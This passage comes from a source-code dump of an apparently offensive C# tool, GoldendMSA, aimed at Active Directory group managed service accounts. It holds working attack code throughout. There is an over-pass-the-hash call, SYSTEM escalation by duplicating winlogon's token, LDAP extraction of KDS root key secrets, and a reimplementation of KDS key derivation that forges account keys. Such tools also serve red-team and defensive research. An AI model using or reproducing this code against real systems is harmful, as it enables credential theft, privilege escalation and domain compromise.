aes_128_hash = BitConverter.ToString(aes128Key).Replace("-", "").ToLower(); 146 | 147 | if (bruteforceMode) 148 | { 149 | if (OPTH.Over_pass_the_hash(username, domainName, aes_256_hash, ptt, verbose) == 1) 150 | { 151 | Console.WriteLine(); 152 | Console.WriteLine($"AES-256 Hash:\t{aes_256_hash}"); 153 | Console.WriteLine(); 154 | Console.WriteLine($"AES-128 Hash:\t{aes_128_hash}"); 155 | Console.WriteLine(); 156 | return 1; 157 | } 158 | } 159 | else 160 | { 161 | Console.WriteLine(); 162 | Console.WriteLine($"AES-256 Hash:\t{aes_256_hash}"); 163 | Console.WriteLine(); 164 | Console.WriteLine($"AES-128 Hash:\t{aes_128_hash}"); 165 | Console.WriteLine(); 166 | } 167 | 168 | return 0; 169 | 170 | } 171 | public static bool IsHighIntegrity() 172 | { 173 | // returns true if the current process is running with adminstrative privs in a high integrity context 174 | WindowsIdentity identity = WindowsIdentity.GetCurrent(); 175 | WindowsPrincipal principal = new WindowsPrincipal(identity); 176 | return principal.IsInRole(WindowsBuiltInRole.Administrator); 177 | } 178 | public static bool GetSystem() 179 | { 180 | // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation 181 | if (IsHighIntegrity()) 182 | { 183 | IntPtr hToken = IntPtr.Zero; 184 | 185 | // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken 186 | Process[] processes = Process.GetProcessesByName("winlogon"); 187 | IntPtr handle = processes[0].Handle; 188 | 189 | // TOKEN_DUPLICATE = 0x0002 190 | bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); 191 | if (!success) 192 | { 193 | Console.WriteLine("[!] GetSystem() - OpenProcessToken failed!"); 194 | return false; 195 | } 196 | 197 | // make a copy of the NT AUTHORITY\SYSTEM token from winlogon 198 | // 2 == SecurityImpersonation 199 | IntPtr hDupToken = IntPtr.Zero; 200 | success = Interop.DuplicateToken(hToken, 2, ref hDupToken); 201 | if (!success) 202 | { 203 | Console.WriteLine("[!] GetSystem() - DuplicateToken failed!"); 204 | return false; 205 | } 206 | 207 | success = Interop.ImpersonateLoggedOnUser(hDupToken); 208 | if (!success) 209 | { 210 | Console.WriteLine("[!] GetSystem() - ImpersonateLoggedOnUser failed!"); 211 | return false; 212 | } 213 | 214 | // clean up the handles we created 215 | Interop.CloseHandle(hToken); 216 | Interop.CloseHandle(hDupToken); 217 | 218 | if (!IsSystem()) 219 | { 220 | return false; 221 | } 222 | 223 | return true; 224 | } 225 | else 226 | { 227 | return false; 228 | } 229 | } 230 | 231 | /* 232 | * Description - Checks if the GUID is valid. 233 | */ 234 | public static bool IsValidGuid(string input) 235 | { 236 | if (string.IsNullOrWhiteSpace(input)) 237 | return false; 238 | 239 | return Guid.TryParse(input, out _); 240 | } 241 | 242 | /* 243 | * Description - checks if domain name is valid. 244 | */ 245 | public static bool IsValidDomainFormatRegex(string domain) 246 | { 247 | if (string.IsNullOrWhiteSpace(domain)) 248 | return false; 249 | 250 | // Remove trailing dot if present 251 | domain = domain.TrimEnd('.'); 252 | 253 | // Check length 254 | if (domain.Length > 253) 255 | return false; 256 | 257 | // Regex pattern for domain validation 258 | string pattern = @"^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?$"; 259 | 260 | return Regex.IsMatch(domain, pattern, RegexOptions.IgnoreCase); 261 | } 262 | 263 | /* 264 | * Description - Looks if we are using SYSTEM user. 265 | */ 266 | public static bool IsCurrentUserSystem() 267 | { 268 | try 269 | { 270 | using (var identity = WindowsIdentity.GetCurrent()) 271 | { 272 | return identity.User?.Value == "S-1-5-18"; 273 | } 274 | } 275 | catch (Exception ex) 276 | { 277 | Console.WriteLine($"Error checking system user: {ex.Message}"); 278 | return false; 279 | } 280 | } 281 | 282 | public static bool IsSystem() 283 | { 284 | // returns true if the current user is "NT AUTHORITY\SYSTEM" 285 | var currentSid = WindowsIdentity.GetCurrent().User; 286 | return currentSid.IsWellKnown(WellKnownSidType.LocalSystemSid); 287 | } 288 | 289 | private static string[] stringArrayAttributeName = 290 | { 291 | "serviceprincipalname", 292 | "memberof" 293 | }; 294 | private static string[] datetimeAttributes = 295 | { 296 | "lastlogon", 297 | "lastlogoff", 298 | "pwdlastset", 299 | "badpasswordtime", 300 | "lastlogontimestamp", 301 | }; 302 | private static string[] dateStringAttributes = 303 | { 304 | "whenchanged", 305 | "whencreated" 306 | }; 307 | private static string[] intAttributes = 308 | { 309 | "useraccountcontrol", 310 | "msds-supportedencryptiontypes" 311 | }; 312 | } 313 | } -------------------------------------------------------------------------------- /GoldendMSA/GetKey.cs: -------------------------------------------------------------------------------- 1 | using GoldendMSA.Unsafe; 2 | using System; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | 6 | namespace GoldendMSA 7 | { 8 | public static class GetKey 9 | { 10 | public static void GetSidKeyLocal( 11 | byte[] securityDescriptor, 12 | int sDSize, 13 | RootKey rootKey, 14 | int l0KeyId, 15 | int l1KeyId, 16 | int l2KeyId, 17 | int accessCheckFailed, 18 | string domainName, 19 | string forestName, 20 | out GroupKeyEnvelope gke, 21 | out int gkeSize) 22 | { 23 | L0Key l0Key = ComputeL0Key(rootKey, l0KeyId); 24 | 25 | ComputeSidPrivateKey( 26 | l0Key, 27 | securityDescriptor, sDSize, 28 | l1KeyId, 29 | l2KeyId, 30 | accessCheckFailed, 31 | out byte[] l1Key, 32 | out byte[] l2Key); 33 | 34 | // There is another function that is being called if AccessCheckFailed != 0 which is ComputePublicKey - should not be relevant for us 35 | int guidExists = (rootKey.cn == Guid.Empty || rootKey.cn == null) ? 0 : 1; // we should get if we have this root key id. 36 | 37 | FormatReturnBlob( 38 | l0Key, 39 | guidExists, 40 | l1Key, l1KeyId, 41 | l2Key, l2KeyId, 42 | null, 0, 43 | domainName, forestName, 44 | out gke, 45 | out gkeSize); 46 | } 47 | 48 | private static L0Key ComputeL0Key( 49 | RootKey rootKey, 50 | int l0KeyId) 51 | { 52 | byte[] rootKeyGuid = rootKey.cn.ToByteArray(); 53 | 54 | uint errCode = KdsCli.GenerateKDFContext( 55 | rootKeyGuid, l0KeyId, 56 | 0xffffffff, 0xffffffff, 57 | 0, 58 | out IntPtr kdfContextPtr, 59 | out int kdfContextSize, 60 | out int kdfContextFlag); 61 | 62 | if (errCode != 0) 63 | throw new Exception($"{nameof(ComputeL0Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}"); 64 | 65 | byte[] kdfContext = new byte[kdfContextSize]; 66 | Marshal.Copy(kdfContextPtr, kdfContext, 0, kdfContextSize); 67 | 68 | byte[] generateDerivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault]; 69 | int labelSize = 0; 70 | byte[] label = null; 71 | 72 | errCode = KdsCli.GenerateDerivedKey( 73 | rootKey.msKdsKDFAlgorithmID, 74 | rootKey.msKdsKDFParam, 75 | rootKey.KDFParamSize, 76 | rootKey.KdsRootKeyData, 77 | rootKey.KdsRootKeyDataSize, 78 | kdfContext, kdfContextSize, 79 | ref kdfContextFlag, 80 | label, labelSize, 81 | 1, generateDerivedKey, 82 | RootKey.KdsRootKeyDataSizeDefault, 0); 83 | 84 | if (errCode != 0) 85 | throw new Exception($"{nameof(ComputeL0Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 86 | 87 | L0Key l0Key = new L0Key(rootKey, l0KeyId, generateDerivedKey); 88 | 89 | return l0Key; 90 | } 91 | 92 | private static void GenerateL1Key( 93 | byte[] securityDescriptor, 94 | int sDSize, 95 | L0Key l0Key, 96 | int l1KeyId, 97 | out byte[] derivedKey, 98 | out byte[] derivedKey2) 99 | { 100 | byte[] rootKeyGuid = l0Key.cn.ToByteArray(); 101 | derivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault]; 102 | derivedKey2 = null; 103 | 104 | uint errCode = KdsCli.GenerateKDFContext( 105 | rootKeyGuid, (int)l0Key.L0KeyID, 106 | 0x1f, 0xffffffff, 1, 107 | out IntPtr kdfContextPtr, 108 | out int kdfContextSize, 109 | out int kdfContextFlag); 110 | 111 | if (errCode != 0) 112 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}"); 113 | 114 | int kdfContextModifiedSize = kdfContextSize + sDSize; 115 | byte[] kdfContextModified = new byte[kdfContextModifiedSize]; 116 | 117 | Marshal.Copy(kdfContextPtr, kdfContextModified, 0, kdfContextSize); 118 | Array.Copy(securityDescriptor, 0, kdfContextModified, kdfContextSize, sDSize); 119 | 120 | errCode = KdsCli.GenerateDerivedKey( 121 | l0Key.msKdsKDFAlgorithmID, 122 | l0Key.msKdsKDFParam, 123 | l0Key.KDFParamSize, 124 | l0Key.KdsRootKeyData, 125 | 64, 126 | kdfContextModified, kdfContextModifiedSize, 127 | ref kdfContextFlag, 128 | null, 0, 1, 129 | derivedKey, 130 | RootKey.KdsRootKeyDataSizeDefault, 0); 131 | 132 | if (errCode != 0) 133 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 134 | 135 | // This section will be used if 0 0) 159 | { 160 | kdfContext[kdfContextFlag] = (byte)(l1KeyId - 1); 161 | derivedKey2 = new byte[RootKey.KdsRootKeyDataSizeDefault]; 162 | generatedDerivedKey = derivedKey.ToArray(); 163 | 164 | errCode = KdsCli.GenerateDerivedKey( 165 | l0Key.msKdsKDFAlgorithmID, l0Key.msKdsKDFParam, 166 | l0Key.KDFParamSize, generatedDerivedKey, 167 | 64, kdfContext, 168 | kdfContextSize, ref kdfContextFlag, 169 | null, 0, 170 | 1, derivedKey2, 171 | RootKey.KdsRootKeyDataSizeDefault, 0); 172 | 173 | if (errCode != 0) 174 | throw new Exception($"{nameof(GenerateL1Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 175 | } 176 | 177 | return; 178 | } 179 | 180 | private static void GenerateL2Key( 181 | L0Key l0Key, 182 | byte[] l1DerivedKey, 183 | int l1KeyId, 184 | int l2KeyId, 185 | out int flagKdfContext, 186 | out byte[] derivedKey) 187 | { 188 | byte[] rootKeyGuid = l0Key.cn.ToByteArray(); 189 | 190 | derivedKey = new byte[RootKey.KdsRootKeyDataSizeDefault]; 191 | 192 | uint errCode = KdsCli.GenerateKDFContext( 193 | rootKeyGuid, (int)l0Key.L0KeyID, 194 | l1KeyId, 0x1f, 195 | 2, 196 | out IntPtr kdfContextPtr, 197 | out int KDFContextSize, 198 | out flagKdfContext); 199 | 200 | if (errCode != 0) 201 | throw new Exception($"{nameof(GenerateL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}"); 202 | 203 | byte[] kdfContext = new byte[KDFContextSize]; 204 | Marshal.Copy(kdfContextPtr, kdfContext, 0, KDFContextSize); 205 | 206 | int someFlag = 32 - l2KeyId; 207 | 208 | errCode = KdsCli.GenerateDerivedKey( 209 | l0Key.msKdsKDFAlgorithmID, l0Key.msKdsKDFParam, 210 | l0Key.KDFParamSize, l1DerivedKey, 211 | 64, kdfContext, 212 | KDFContextSize, ref flagKdfContext, 213 | null, 0, 214 | someFlag, derivedKey, 215 | RootKey.KdsRootKeyDataSizeDefault, 0); 216 | 217 | if (errCode != 0) 218 | throw new Exception($"{nameof(GenerateL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 219 | 220 | return; 221 | } 222 | 223 | private static void ComputeSidPrivateKey( 224 | L0Key l0Key, 225 | byte[] securityDescriptor, 226 | int sDSize, 227 | int l1KeyId, 228 | int l2KeyId, 229 | int accessCheckFailed, 230 | out byte[] l1Key, 231 | out byte[] l2Key) 232 | { 233 | GenerateL1Key(securityDescriptor, sDSize, l0Key, l1KeyId, out byte[] l1KeyFirst, out byte[] l2KeySecond); 234 | 235 | if (l2KeyId == 31 && accessCheckFailed == 0) 236 | { 237 | l1Key = l1KeyFirst.ToArray(); 238 | l2Key = null; 239 | return; 240 | } 241 | 242 | GenerateL2Key(l0Key, l1KeyFirst, l1KeyId, l2KeyId, out int flag, out l2Key); 243 | 244 | if (l1KeyId > 0) 245 | l1Key = l2KeySecond.ToArray(); 246 | else 247 | l1Key = null; 248 | 249 | return; 250 | } 251 | 252 | private static void FormatReturnBlob( 253 | L0Key l0Key, 254 | int guidExists, 255 | byte[] l1Key, 256 | int l1KeyID, 257 | byte[] l2Key, 258 | int l2KeyID, 259 | byte[] publicKey, 260 | int publicKeySize, 261 | string domainName, 262 | string forestName, 263 | out GroupKeyEnvelope gke, 264 | out int gkeSize 265 | ) 266 | { 267 | gke = new GroupKeyEnvelope() 268 | { 269 | Version = 1, 270 | Reserved = 1263748171, 271 | L0Index = (int)l0Key.L0KeyID, 272 | L1Index = l1KeyID, 273 | L2Index = l2KeyID, 274 | RootKeyIdentifier = l0Key.cn, 275 | cbKDFAlgorithm = l0Key.msKdsKDFAlgorithmID.Length * 2 + 2, 276 | cbKDFParameters = l0Key.KDFParamSize, 277 | cbSecretAgreementAlgorithm = (l0Key.KdsSecretAgreementAlgorithmID.Length * 2 + 2), 278 | cbSecretAgreementParameters = l0Key.SecretAlgoritmParamSize, 279 | PrivateKeyLength = l0Key.PrivateKeyLength, 280 | PublicKeyLength = l0Key.PublicKeyLength, 281 | cbDomainName = domainName.Length * 2 + 2, 282 | cbForestName = forestName.Length * 2 + 2, 283 | KDFAlgorithm = l0Key.msKdsKDFAlgorithmID, 284 | KDFParameters = l0Key.msKdsKDFParam.ToArray(), 285 | SecretAgreementAlgorithm = l0Key.KdsSecretAgreementAlgorithmID, 286 | SecretAgreementParameters = l0Key.KdsSecretAgreementParam.ToArray(), 287 | DomainName = domainName, 288 | ForestName = forestName 289 | }; 290 | 291 | int firstKeySize = 64; 292 | int secondKeySize = 64; 293 | 294 | if (publicKey != null) 295 | { 296 | secondKeySize = publicKeySize; 297 | firstKeySize = 0; 298 | } 299 | else if (l2KeyID == 31) 300 | { 301 | secondKeySize = 0; 302 | } 303 | else 304 | { 305 | if (l1KeyID == 0) 306 | { 307 | firstKeySize = 0; 308 | } 309 | } 310 | gke.cbL1Key = firstKeySize; 311 | gke.cbL2Key = secondKeySize; 312 | int isPublicKey = 0; 313 | gke.L1Key = null; 314 | gke.L2Key = null; 315 | if (publicKey != null) 316 | { 317 | isPublicKey |= 1; 318 | } 319 | isPublicKey |= 2; 320 | gke.isPublicKey = isPublicKey; 321 | 322 | if (firstKeySize != 0) 323 | { 324 | gke.L1Key = l1Key.ToArray(); 325 | } 326 | 327 | if (secondKeySize != 0) 328 | { 329 | if (publicKey != null) 330 | { 331 | gke.L2Key = publicKey.ToArray(); 332 | } 333 | else 334 | { 335 | gke.L2Key = l2Key.ToArray(); 336 | } 337 | } 338 | 339 | gkeSize = 80 + gke.cbKDFAlgorithm + 340 | gke.cbKDFParameters + gke.cbSecretAgreementAlgorithm + 341 | gke.cbSecretAgreementParameters + 342 | gke.cbDomainName + gke.cbForestName + 343 | gke.cbL1Key + gke.cbL2Key; 344 | } 345 | } 346 | 347 | } -------------------------------------------------------------------------------- /GoldendMSA/RootKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | 8 | namespace GoldendMSA 9 | { 10 | public class RootKey 11 | { 12 | private static readonly string[] KdsRootKeyAttributes = { 13 | "msKds-SecretAgreementParam", "msKds-RootKeyData", 14 | "msKds-KDFParam", "msKds-KDFAlgorithmID", 15 | "msKds-CreateTime", "msKds-UseStartTime", 16 | "msKds-Version", "msKds-DomainID", 17 | "cn", "msKds-PrivateKeyLength", 18 | "msKds-PublicKeyLength", 19 | "msKds-SecretAgreementAlgorithmID" }; 20 | 21 | public static int KdsRootKeyDataSizeDefault = 64; 22 | public int msKdsVersion { get; set; } 23 | public Guid cn { get; set; } 24 | public int ProbReserved { get; set; } 25 | public int msKdsVersion2 { get; set; } 26 | public int ProbReserved2 { get; set; } 27 | public string msKdsKDFAlgorithmID { get; set; } 28 | public byte[] msKdsKDFParam { get; set; } 29 | public int KDFParamSize { get; set; } 30 | public int ProbReserved3 { get; set; } 31 | public string KdsSecretAgreementAlgorithmID { get; set; } 32 | public byte[] KdsSecretAgreementParam { get; set; } 33 | public int SecretAlgoritmParamSize { get; set; } 34 | public int PrivateKeyLength { get; set; } 35 | public int PublicKeyLength { get; set; } 36 | public int ProbReserved4 { get; set; } 37 | public int ProbReserved5 { get; set; } 38 | public int ProbReserved6 { get; set; } 39 | public long flag { get; set; } 40 | public long flag2 { get; set; } 41 | public string KdsDomainID { get; set; } 42 | public long KdsCreateTime { get; set; } 43 | public long KdsUseStartTime { get; set; } 44 | public long ProbReserved7 { get; set; } 45 | public long KdsRootKeyDataSize { get; set; } 46 | public byte[] KdsRootKeyData { get; set; } 47 | 48 | private RootKey(SearchResult sr) 49 | { 50 | msKdsVersion = (int)sr.Properties["msKds-Version"][0]; 51 | cn = Guid.Parse(sr.Properties["cn"][0].ToString()); 52 | ProbReserved = 0; 53 | msKdsVersion2 = (int)sr.Properties["msKds-Version"][0]; 54 | ProbReserved2 = 0; 55 | msKdsKDFAlgorithmID = sr.Properties["msKds-KDFAlgorithmID"][0].ToString(); 56 | msKdsKDFParam = (byte[])sr.Properties["msKds-KDFParam"][0]; 57 | KDFParamSize = msKdsKDFParam.Length; 58 | ProbReserved3 = 0; 59 | KdsSecretAgreementAlgorithmID = sr.Properties["msKds-SecretAgreementAlgorithmID"][0].ToString(); 60 | KdsSecretAgreementParam = (byte[])sr.Properties["msKds-SecretAgreementParam"][0]; 61 | SecretAlgoritmParamSize = KdsSecretAgreementParam.Length; 62 | PrivateKeyLength = (int)sr.Properties["msKds-PrivateKeyLength"][0]; 63 | PublicKeyLength = (int)sr.Properties["msKds-PublicKeyLength"][0]; 64 | ProbReserved4 = 0; 65 | ProbReserved5 = 0; 66 | ProbReserved6 = 0; 67 | flag = 1; 68 | flag2 = 1; 69 | KdsDomainID = sr.Properties["msKds-DomainID"][0].ToString(); 70 | KdsCreateTime = (long)sr.Properties["msKds-CreateTime"][0]; 71 | KdsUseStartTime = (long)sr.Properties["msKds-UseStartTime"][0]; 72 | ProbReserved7 = 0; 73 | KdsRootKeyDataSize = 64; 74 | KdsRootKeyData = (byte[])sr.Properties["msKds-RootKeyData"][0]; 75 | } 76 | 77 | public RootKey(string filePath) 78 | { 79 | if (!File.Exists(filePath)) 80 | throw new FileNotFoundException("File not found", filePath); 81 | 82 | string[] lines = File.ReadAllLines(filePath); 83 | msKdsVersion = Int32.Parse(lines[0]); 84 | cn = Guid.Parse(lines[1]); 85 | ProbReserved = 0; 86 | msKdsVersion2 = Int32.Parse(lines[0]); 87 | ProbReserved2 = 0; 88 | msKdsKDFAlgorithmID = lines[2]; 89 | msKdsKDFParam = Convert.FromBase64String(lines[3]); 90 | KDFParamSize = msKdsKDFParam.Length; 91 | ProbReserved3 = 0; 92 | KdsSecretAgreementAlgorithmID = lines[4]; 93 | KdsSecretAgreementParam = Convert.FromBase64String(lines[5]); 94 | SecretAlgoritmParamSize = KdsSecretAgreementParam.Length; 95 | PrivateKeyLength = Int32.Parse(lines[6]); 96 | PublicKeyLength = Int32.Parse(lines[7]); 97 | ProbReserved4 = 0; 98 | ProbReserved5 = 0; 99 | ProbReserved6 = 0; 100 | flag = 1; 101 | flag2 = 1; 102 | KdsDomainID = lines[8]; 103 | KdsCreateTime = long.Parse(lines[9]); 104 | KdsUseStartTime = long.Parse(lines[10]); 105 | ProbReserved7 = 0; 106 | KdsRootKeyDataSize = 64; 107 | KdsRootKeyData = Convert.FromBase64String(lines[11]); 108 | } 109 | 110 | public RootKey(byte[] rootKeyBytes) 111 | { 112 | int trackSize = 32; 113 | msKdsVersion = BitConverter.ToInt32(rootKeyBytes, 0); 114 | byte[] temp = new byte[16]; 115 | Array.Copy(rootKeyBytes, 4, temp, 0, 16); 116 | cn = new Guid(temp); 117 | ProbReserved = BitConverter.ToInt32(rootKeyBytes, 20); 118 | msKdsVersion2 = BitConverter.ToInt32(rootKeyBytes, 24); 119 | ProbReserved2 = BitConverter.ToInt32(rootKeyBytes, 28); 120 | int msKdfAlgorithmIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize); 121 | msKdsKDFAlgorithmID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, msKdfAlgorithmIDSize); 122 | KDFParamSize = BitConverter.ToInt32(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 4); 123 | if (KDFParamSize > 0) 124 | { 125 | msKdsKDFParam = new byte[KDFParamSize]; 126 | Array.Copy(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 8, msKdsKDFParam, 0, KDFParamSize); 127 | } 128 | else 129 | { 130 | msKdsKDFParam = null; 131 | } 132 | trackSize += msKdfAlgorithmIDSize + KDFParamSize + 8; 133 | 134 | ProbReserved3 = BitConverter.ToInt32(rootKeyBytes, trackSize); 135 | trackSize += 4; 136 | 137 | int kdsSecretAgreementAlgorithmIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize); 138 | KdsSecretAgreementAlgorithmID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, kdsSecretAgreementAlgorithmIDSize); 139 | SecretAlgoritmParamSize = BitConverter.ToInt32(rootKeyBytes, trackSize + kdsSecretAgreementAlgorithmIDSize + 4); 140 | if (SecretAlgoritmParamSize > 0) 141 | { 142 | KdsSecretAgreementParam = new byte[SecretAlgoritmParamSize]; 143 | Array.Copy(rootKeyBytes, trackSize + msKdfAlgorithmIDSize + 8, KdsSecretAgreementParam, 0, SecretAlgoritmParamSize); 144 | } 145 | else 146 | { 147 | KdsSecretAgreementParam = null; 148 | } 149 | trackSize += kdsSecretAgreementAlgorithmIDSize + SecretAlgoritmParamSize + 8; 150 | 151 | PrivateKeyLength = BitConverter.ToInt32(rootKeyBytes, trackSize); 152 | PublicKeyLength = BitConverter.ToInt32(rootKeyBytes, trackSize + 4); 153 | ProbReserved4 = BitConverter.ToInt32(rootKeyBytes, trackSize + 8); 154 | ProbReserved5 = BitConverter.ToInt32(rootKeyBytes, trackSize + 12); 155 | ProbReserved6 = BitConverter.ToInt32(rootKeyBytes, trackSize + 16); 156 | flag = BitConverter.ToInt64(rootKeyBytes, trackSize + 20); 157 | flag2 = BitConverter.ToInt64(rootKeyBytes, trackSize + 28); 158 | trackSize += 36; 159 | 160 | int kdsDomainIDSize = BitConverter.ToInt32(rootKeyBytes, trackSize); 161 | KdsDomainID = System.Text.Encoding.Unicode.GetString(rootKeyBytes, trackSize + 4, kdsDomainIDSize); 162 | trackSize += kdsDomainIDSize + 4; 163 | 164 | KdsCreateTime = BitConverter.ToInt64(rootKeyBytes, trackSize); 165 | KdsUseStartTime = BitConverter.ToInt64(rootKeyBytes, trackSize + 8); 166 | ProbReserved7 = BitConverter.ToInt64(rootKeyBytes, trackSize + 16); 167 | KdsRootKeyDataSize = BitConverter.ToInt64(rootKeyBytes, trackSize + 24); 168 | if (KdsRootKeyDataSize > 0) 169 | { 170 | KdsRootKeyData = new byte[KdsRootKeyDataSize]; 171 | Array.Copy(rootKeyBytes, trackSize + 32, KdsRootKeyData, 0, KdsRootKeyDataSize); 172 | } 173 | else 174 | { 175 | KdsRootKeyData = null; 176 | } 177 | } 178 | 179 | protected RootKey(RootKey rk) 180 | { 181 | this.msKdsVersion = rk.msKdsVersion; 182 | this.cn = rk.cn; 183 | this.ProbReserved = 0; 184 | this.msKdsVersion2 = rk.msKdsVersion; 185 | this.ProbReserved2 = 0; 186 | this.msKdsKDFAlgorithmID = rk.msKdsKDFAlgorithmID; 187 | this.msKdsKDFParam = rk.msKdsKDFParam.ToArray(); 188 | this.KDFParamSize = rk.KDFParamSize; 189 | this.ProbReserved3 = rk.ProbReserved3; 190 | this.KdsSecretAgreementAlgorithmID = rk.KdsSecretAgreementAlgorithmID; 191 | this.KdsSecretAgreementParam = rk.KdsSecretAgreementParam.ToArray(); 192 | this.SecretAlgoritmParamSize = rk.SecretAlgoritmParamSize; 193 | this.PrivateKeyLength = rk.PrivateKeyLength; 194 | this.PublicKeyLength = rk.PublicKeyLength; 195 | this.ProbReserved4 = rk.ProbReserved4; 196 | this.ProbReserved5 = rk.ProbReserved5; 197 | this.ProbReserved6 = rk.ProbReserved6; 198 | this.flag = rk.flag; 199 | this.flag2 = rk.flag2; 200 | this.KdsDomainID = rk.KdsDomainID; 201 | this.KdsCreateTime = rk.KdsCreateTime; 202 | this.KdsUseStartTime = rk.KdsUseStartTime; 203 | this.ProbReserved7 = rk.ProbReserved7; 204 | this.KdsRootKeyDataSize = rk.KdsRootKeyDataSize; 205 | this.KdsRootKeyData = rk.KdsRootKeyData.ToArray(); 206 | } 207 | 208 | public static RootKey GetRootKeyByGuid(string forestName, Guid rootKeyId) 209 | { 210 | using (var rootDse = LdapUtils.GetRootDse(forestName)) 211 | { 212 | string searchBase = rootDse.Properties["configurationNamingContext"].Value.ToString(); 213 | string ldapFilter = $"(&(objectClass=msKds-ProvRootKey)(cn={rootKeyId}))"; 214 | 215 | //Console.WriteLine($"searchBase={searchBase}; ldapFilter={ldapFilter}"); 216 | 217 | var results = LdapUtils.FindInConfigPartition(forestName, ldapFilter, KdsRootKeyAttributes); 218 | 219 | if (results == null || results.Count == 0) 220 | return null; 221 | 222 | return new RootKey(results[0]); 223 | } 224 | } 225 | 226 | public static IEnumerable GetAllRootKeys(string forestName) 227 | { 228 | using (var rootDse = LdapUtils.GetRootDse(forestName)) 229 | { 230 | string searchBase = rootDse.Properties["configurationNamingContext"].Value.ToString(); 231 | string ldapFilter = $"(objectClass=msKds-ProvRootKey)"; 232 | 233 | var results = LdapUtils.FindInConfigPartition(forestName, ldapFilter, KdsRootKeyAttributes); 234 | 235 | if (results == null || results.Count == 0) 236 | yield break; 237 | 238 | foreach (SearchResult sr in results) 239 | { 240 | RootKey rk = null; 241 | try 242 | { 243 | rk = new RootKey(sr); 244 | } 245 | catch (Exception ex) 246 | { 247 | Console.WriteLine($"WARNING: {sr.Properties["distinguishedName"][0]}: {ex.Message}"); 248 | } 249 | 250 | if (rk != null) 251 | yield return rk; 252 | } 253 | } 254 | } 255 | 256 | protected byte[] Serialize() 257 | { 258 | int trackSize = 36; 259 | long rootKeySize = 124 + Encoding.Unicode.GetByteCount(msKdsKDFAlgorithmID) + msKdsKDFParam.Length + KdsSecretAgreementParam.Length 260 | + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + Encoding.Unicode.GetByteCount(KdsDomainID) + KdsRootKeyData.Length; 261 | byte[] rootKeyBytes = new byte[rootKeySize]; 262 | BitConverter.GetBytes(msKdsVersion).CopyTo(rootKeyBytes, 0); 263 | cn.ToByteArray().CopyTo(rootKeyBytes, 4); 264 | BitConverter.GetBytes(ProbReserved).CopyTo(rootKeyBytes, 20); 265 | BitConverter.GetBytes(msKdsVersion2).CopyTo(rootKeyBytes, 24); 266 | BitConverter.GetBytes(ProbReserved2).CopyTo(rootKeyBytes, 28); 267 | 268 | byte[] msKdsKDFAlgorithmIDBytes = Encoding.Unicode.GetBytes(msKdsKDFAlgorithmID); 269 | BitConverter.GetBytes(msKdsKDFAlgorithmIDBytes.Length).CopyTo(rootKeyBytes, 32); 270 | msKdsKDFAlgorithmIDBytes.CopyTo(rootKeyBytes, trackSize); 271 | BitConverter.GetBytes(KDFParamSize).CopyTo(rootKeyBytes, trackSize + msKdsKDFAlgorithmIDBytes.Length); 272 | msKdsKDFParam.CopyTo(rootKeyBytes, trackSize + 4 + msKdsKDFAlgorithmIDBytes.Length); 273 | trackSize += msKdsKDFParam.Length + msKdsKDFAlgorithmIDBytes.Length + 4; 274 | 275 | BitConverter.GetBytes(ProbReserved3).CopyTo(rootKeyBytes, trackSize); 276 | trackSize += 4; 277 | 278 | byte[] kdsSecretAgreementAlgorithmIDBytes = Encoding.Unicode.GetBytes(KdsSecretAgreementAlgorithmID); 279 | BitConverter.GetBytes(kdsSecretAgreementAlgorithmIDBytes.Length).CopyTo(rootKeyBytes, trackSize); 280 | kdsSecretAgreementAlgorithmIDBytes.CopyTo(rootKeyBytes, trackSize + 4); 281 | BitConverter.GetBytes(SecretAlgoritmParamSize).CopyTo(rootKeyBytes, trackSize + 4 + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID)); 282 | KdsSecretAgreementParam.CopyTo(rootKeyBytes, trackSize + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + 8); 283 | trackSize += KdsSecretAgreementParam.Length + Encoding.Unicode.GetByteCount(KdsSecretAgreementAlgorithmID) + 8; 284 | 285 | BitConverter.GetBytes(PrivateKeyLength).CopyTo(rootKeyBytes, trackSize); 286 | BitConverter.GetBytes(PublicKeyLength).CopyTo(rootKeyBytes, trackSize + 4); 287 | BitConverter.GetBytes(ProbReserved4).CopyTo(rootKeyBytes, trackSize + 8); 288 | BitConverter.GetBytes(ProbReserved5).CopyTo(rootKeyBytes, trackSize + 12); 289 | BitConverter.GetBytes(ProbReserved6).CopyTo(rootKeyBytes, trackSize + 16); 290 | BitConverter.GetBytes(flag).CopyTo(rootKeyBytes, trackSize + 20); 291 | BitConverter.GetBytes(flag2).CopyTo(rootKeyBytes, trackSize + 28); 292 | trackSize += 36; 293 | 294 | byte[] kdsDomainIDBytes = Encoding.Unicode.GetBytes(KdsDomainID); 295 | BitConverter.GetBytes(kdsDomainIDBytes.Length).CopyTo(rootKeyBytes, trackSize); 296 | kdsDomainIDBytes.CopyTo(rootKeyBytes, trackSize + 4); 297 | 